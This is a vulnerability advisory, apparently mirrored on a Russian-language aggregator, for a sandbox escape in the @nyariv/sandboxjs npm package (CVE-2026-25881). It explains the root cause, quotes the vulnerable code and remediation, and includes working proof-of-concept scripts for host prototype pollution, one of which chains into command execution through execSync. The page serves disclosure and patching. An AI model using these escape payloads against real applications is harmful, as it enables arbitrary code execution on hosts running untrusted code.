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github логотип

GHSA-ww7g-4gwx-m7wj

Опубликовано: 10 фев. 2026
Источник: github
Github: Прошло ревью
CVSS3: 9

Описание

@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)

Summary

A sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)).

Details

Root Cause:

The sandbox implements a protection mechanism using the isGlobal flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.

Vulnerable Code Path src/executor.ts(L559-L571):

addOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => { const items = (b as LispItem[]) .map((item) => { if (item instanceof SpreadArray) { return [...item.item]; } else { return item; } }) .flat() .map((item) => valueOrProp(item, context)); // <- isGlobal flag lost here done(undefined, items); });

Exploitation Flow:

Sandboxed code: const m=[Map.prototype][0] ↓ Array creation: isGlobal taint stripped via valueOrProp() ↓ Prototype mutation: m.cmd='id' (host prototype polluted) ↓ Host-side impact: new Map().cmd === 'id' (persistent) ↓ RCE (application-dependent): host code calls execSync(obj.cmd)

Protection Bypass Location src/utils.ts(L380-L385):

set(key: string, val: unknown) { // ... if (prop.isGlobal) { // <- This check is bypassed throw new SandboxError(`Cannot override global variable '${key}'`); } (prop.context as any)[prop.prop] = val; return prop; }

When the prototype is accessed via array retrieval, the isGlobal flag is no longer set, so this protection is never triggered.

PoC

Prototype pollution via array intermediary:

const Sandbox = require('@nyariv/sandboxjs').default; const sandbox = new Sandbox(); sandbox.compile(` const arr=[Map.prototype]; const p=arr[0]; p.polluted='pwned'; return 'done'; `)().run(); console.log('polluted' in ({}), new Map().polluted);

Observed output: false pwned

Overwrite Set.prototype.has:

const Sandbox = require('@nyariv/sandboxjs').default; const sandbox = new Sandbox(); sandbox.compile(` const s=[Set.prototype][0]; s.has=isFinite; return 'done'; `)().run(); console.log('has overwritten:', Set.prototype.has === isFinite);

Observed output: has overwritten: true

RCE via host gadget (prototype pollution -> execSync):

const Sandbox = require('@nyariv/sandboxjs').default; const { execSync } = require('child_process'); const sandbox = new Sandbox(); sandbox.compile(` const m=[Map.prototype][0]; m.cmd='id'; return 'done'; `)().run(); const obj = new Map(); const out = execSync(obj.cmd, { encoding: 'utf8' }).trim(); console.log(out);

Observed output: uid=501(user) gid=20(staff) groups=20(staff),...

Impact

This is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., Map.prototype, Set.prototype), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing obj.cmd to child_process.execSync).

Affected Systems: any application using @nyariv/sandboxjs to execute untrusted JavaScript.

Remediation

  • Preserve isGlobal protection across array/object literal creation (do not unwrap Prop into raw values in a way that drops the global/prototype taint).
  • Add a hard block on writes to built-in prototypes (e.g., Map.prototype, Set.prototype, etc.) even if they are obtained indirectly through literals.
  • Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).

Ссылки

Пакеты

Наименование

@nyariv/sandboxjs

npm
Затронутые версииВерсия исправления

<= 0.8.30

0.8.31

EPSS

Процентиль: 43%
0.00552
Низкий

9 Critical

CVSS3

CVE ID

CVE-2026-25881

Дефекты

CWE-1321

Связанные уязвимости

nvd логотип

CVE-2026-25881

CVSS3: 9
nvd
6 месяцев назад

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.31, a sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)). This vulnerability is fixed in 0.8.31.

fstec логотип

BDU:2026-05058

CVSS3: 10
fstec
6 месяцев назад

Уязвимость библиотеки SandboxJS, связанная с неконтролируемым изменением атрибутов прототипа объекта, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 43%
0.00552
Низкий

9 Critical

CVSS3

CVE ID

CVE-2026-25881

Дефекты

CWE-1321